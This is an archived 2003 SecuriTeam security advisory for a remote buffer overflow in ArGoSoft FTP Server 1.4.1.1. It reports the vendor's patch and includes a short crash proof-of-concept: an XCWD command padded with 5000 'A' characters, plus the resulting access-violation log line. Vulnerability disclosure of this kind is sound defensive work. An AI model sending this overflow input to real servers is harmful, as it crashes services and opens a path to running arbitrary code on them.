[NT] ArGoSoft FTP Server XCMD Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/03

  • Next message: SecuriTeam: "[TOOL] Windows Reverse Shellcode (under 300 Bytes, no spaces, no NULLs)"
    To: list@securiteam.com
    Date: 29 Sep 2003 14:21:57 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ArGoSoft FTP Server XCMD Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.argosoft.com/applications/ftpserver/> ArGoSoft FTP Server is
    "a FTP server for Windows95/98/NT, and supports all basic FTP commands,
    and much more, such as passive mode, resuming file transfers, windows
    shortcuts to another files, folders and drives (including network drives),
    virtual domains (multiple IP homes), IP filtering, site specific commands,
    such as compressing and copying files on the server, changing date/time
    stamps, and so on".

    A buffer overflow vulnerability exists in the product that allows remote
    attackers to overflow an internal buffer, causing the product to execute
    arbitrary code.

    DETAILS

    Vulnerable systems:
     * ArGoSoft FTP Server version 1.4 (1.4.1.1)

    Immune systems:
     * ArGoSoft FTP Server version 1.4 (1.4.1.2)

    Example:
    c:\> putty.exe localhost 21
    220 ArGoSoft FTP Server for Windows NT/2000/XP, Version 1.4 (1.4.1.1)
    user ftp
    502 Unknown command
    user ftp
    331 User name OK, need password
    pass ftp
    230 User ftp logged in successfully **
    XCWD AAAAAAA....(5000 times)
    client closed connection.

    In the log file you will you will see something like:
    9/22/2003 1:38:07 PM - FTP Server started. Listening on port 21
    9/22/2003 1:38:34 PM - Requested FTP connection from 127.0.0.1 ID=1
    9/22/2003 1:38:49 PM - ( 1) 'Error: Access violation at address 00401F32
    in module 'ftpsrvnt.exe'. Write of address 41414145

    Vendor response:
    ArGoSoft has confirmed that there is a bug in the product. Version 1.4.1.2
    has been released, it can be downloaded from:
    <http://www.argosoft.com/applications/ftpserver/download.asp>
    http://www.argosoft.com/applications/ftpserver/download.asp.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:moran@moozatech.com> Moran
    Zavdi.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] Windows Reverse Shellcode (under 300 Bytes, no spaces, no NULLs)"

    Relevant Pages

    • [NT] Microsoft wininet.dll FTP Reply Null Termination Heap Corruption Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft 'wininet.dll' FTP Reply Null Termination Heap Corruption ... Windows Server 2003 Enterprise Edition SP1 ... This vulnerability appears to have existed from at least Internet ...
      (Securiteam)
    • [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FTP program that makes it easy to drag and drop files to and from your ... CoffeeCup FTP to execute arbitrary code. ... direct | free "direct" to exploit a CoffeeCup Direct FTP client ...
      (Securiteam)
    • [UNIX] FTP Kioslave Command Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... KDE applications which use the FTP kioslave, e.g. Konqueror, allow remote ... The FTP kioslave can be misused to execute any ftp command on the server ...
      (Securiteam)
    • [NEWS] Multiple Vulnerabilities in the QNX Platform
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... QNX 6.1 FTP client is vulnerable to a format string in 'quote' command. ... Memory fault ... there is a theoretical race condition vulnerability. ...
      (Securiteam)
    • [EXPL] ArGoSoft FTP Server Buffer Overflow Exploit (DELE)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... ArGoSoft FTP Server is "a lightweight FTP ... ArGoSoft FTP server contains a remote buffer overflow in the DELE ... in the middle so we cant overwrite eip or other registers normally. ...
      (Securiteam)